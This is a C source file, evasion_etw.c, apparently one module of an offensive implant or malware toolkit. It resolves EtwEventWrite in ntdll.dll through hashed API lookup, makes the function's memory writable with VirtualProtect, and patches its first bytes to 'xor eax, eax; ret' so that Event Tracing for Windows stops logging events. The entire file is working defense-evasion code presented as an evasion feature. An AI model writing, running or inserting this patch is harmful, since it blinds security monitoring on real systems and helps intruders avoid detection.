/**
 * evasion_etw.c — ETW (Event Tracing for Windows) patching
 *
 * Patches EtwEventWrite in ntdll.dll to return STATUS_SUCCESS (0)
 * immediately, preventing ETW-based telemetry from logging events.
 */

#include <windows.h>
#include <stdint.h>

#include "api_resolve.h"

#ifdef EVASION_ETW_PATCH

void evasion_etw_init(void) {
    /* Resolve EtwEventWrite lazily from ntdll (already in PEB) */
    FARPROC pEtwWrite = (FARPROC)api_resolve_func(HASH_NTDLL, HASH_EtwEventWrite);
    if (!pEtwWrite) return;

    /* Patch EtwEventWrite to immediately return 0 (STATUS_SUCCESS)
     * x64 patch:  xor eax, eax; ret
     *   33 C0 C3
     */
    uint8_t patch[] = { 0x33, 0xC0, 0xC3 };

    DWORD old_protect;
    if (g_api.pVirtualProtect((LPVOID)pEtwWrite, sizeof(patch), PAGE_EXECUTE_READWRITE, &old_protect)) {
        memcpy((LPVOID)pEtwWrite, patch, sizeof(patch));
        g_api.pVirtualProtect((LPVOID)pEtwWrite, sizeof(patch), old_protect, &old_protect);
    }
}

#endif /* EVASION_ETW_PATCH */